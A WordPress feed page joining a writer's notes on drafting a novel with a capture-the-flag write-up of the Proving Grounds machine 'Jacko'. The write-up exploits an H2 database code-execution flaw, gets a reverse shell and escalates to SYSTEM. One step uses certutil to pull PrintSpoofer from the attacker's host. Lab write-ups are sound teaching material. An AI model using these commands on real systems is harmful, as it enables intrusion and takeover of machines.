jukkasoft posted: " Writing instructions for myself for the future write linearlytry to complete a chapter at one temporal go - in one sessionuse at least 30-60 minutes per chapter, experiment what would be a good amount of timeExamine whether the 3-pass writing style is"
try to complete a chapter at one temporal go - in one session
use at least 30-60 minutes per chapter, experiment what would be a good amount of time
Examine whether the 3-pass writing style is good (described below)
maintain integrity of the text (yes, hard!) - experiment with tooling like Silicon Dating
motivation: perfected writing process saves a lot of time and headache from Future you
3-pass writing style: rough> ready> stylize
coarse definition for the what the text chapter is about
write the final shape and produce the text for the paragraph
stylization and typos; this is a "hygienic cycle" after which the piece is not touched ever more
What's the Headquarters (office) problem in writing?
The headquarters problem concept rose when I looked at the problem of the headquarters of the a fictional company, that seems to loom as a central technical writing problem in a book called Teknovelho I (2017-).
I want to tie the events (plot) to be happening around an IT office
however, there's 3 different headquarters, since as the company evolves over time, grows etc., these headquarters also change place during the plot
when finishing the text, I found myself often asking a question: Which premises are we talking about right now, in this scene?
shakuganz posted: " Hi everyone! Today's write-up is on Jacko, a 20 points Windows machine on Proving Grounds. H2 version 1.4.99 has a JNI Code Execution vulnerability that allows us to transfer a Windows reverse shell to gain access to the machine. SeImpersonatePrivilege "
Hi everyone! Today's write-up is on Jacko, a 20 points Windows machine on Proving Grounds. H2 version 1.4.99 has a JNI Code Execution vulnerability that allows us to transfer a Windows reverse shell to gain access to the machine. SeImpersonatePrivilege is enabled which can be used to privilege escalation (PE). Let's get started!
Nmap enumeration
kali@kali:~$sudo nmap -sC -sV -p- 192.168.54.66 Password: Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-30 01:33 EDT Nmap scan report for 192.168.54.66 Host is up (0.00026s latency). Not shown: 65529 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: H2 Database Engine (redirect) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 7680/tcp open pando-pub? 8082/tcp open http H2 database http console |_http-title: H2 Console MAC Address: 00:50:56:BF:67:10 (VMware) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2.02: |_ Message signing enabled but not required
After clicking on the "Connect" button without entering any password:
We can see that it is actually H2 version 1.4.199. If we search online, we can find a JNI code execution vulnerability for it: https://www.exploit-db.com/exploits/49384
Testing the exploit
I copied and paste the exploit (had to switch to using my own Kali as Proving Grounds'sbrowser Kali restricts the number of words allowed to copy and paste). There are a total of 5 SQL queries which the 5th query is the query that allows us to execute remote commands.
Click on the "Run" button and we can see "whoami" gets executed.
Access machine
Generate win reverse shell
MSFVenom is used to generate a reverse shell. Besides that, we will also need to launch an HTTP service to host it by using Python3. Note that only port 445 is allowed as some firewall setting or something is blocking the other ports. There maybe be other ports allowed but I did not try. Port 22, 443, and 8080 were tested but they were blocked.
listening on [any] 445 ... connect to [192.168.49.78] from (UNKNOWN) [192.168.78.66] 49787 Microsoft Windows [Version 10.0.18363.836] (c) 2019 Microsoft Corporation. All rights reserved. C:\Program Files (x86)\H2\service>
The full path must be specified to "whoami" command as the environmental variable PATH did not include "C"\Windows\System32".
C:\Program Files (x86)\H2\service>PATH PATH=C:\Users\tony\AppData\Local\Microsoft\WindowsApps; C:\Program Files (x86)\H2\service>C:\Windows\System32\whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
In the reverse shell, transfer PrintSpoofer and run it:
C:\Program Files (x86)\H2\service>C:\Windows\system32\certutil.exe -urlcache -f http://192.168.49.78/PrintSpoofer32.exe C:\Users\Tony\Documents\PrintSpoofer32.exe ... C:\Program Files (x86)\H2\service>C:\Users\Tony\Documents\PrintSpoofer32.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.18363.836] (c) 2019 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32>
Obtain proof.txt flag
C:\Windows\system32>cd C:\Users\Administrator\DesktopC:\Users\Administrator\Desktop>dir Volume in drive C has no label. Volume Serial Number is AC2F-6399 Directory of C:\Users\Administrator\Desktop 07/09/2020 12:10 PM <DIR> . 07/09/2020 12:10 PM <DIR> .. 04/27/2020 09:11 PM 1,450 Microsoft Edge.lnk 10/30/2021 08:51 PM 34 proof.txt 2 File(s) 1,484 bytes 2 Dir(s) 6,955,769,856 bytes free C:\Users\Administrator\Desktop>type proof.txt de6**************************
I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here.
WordPress.com
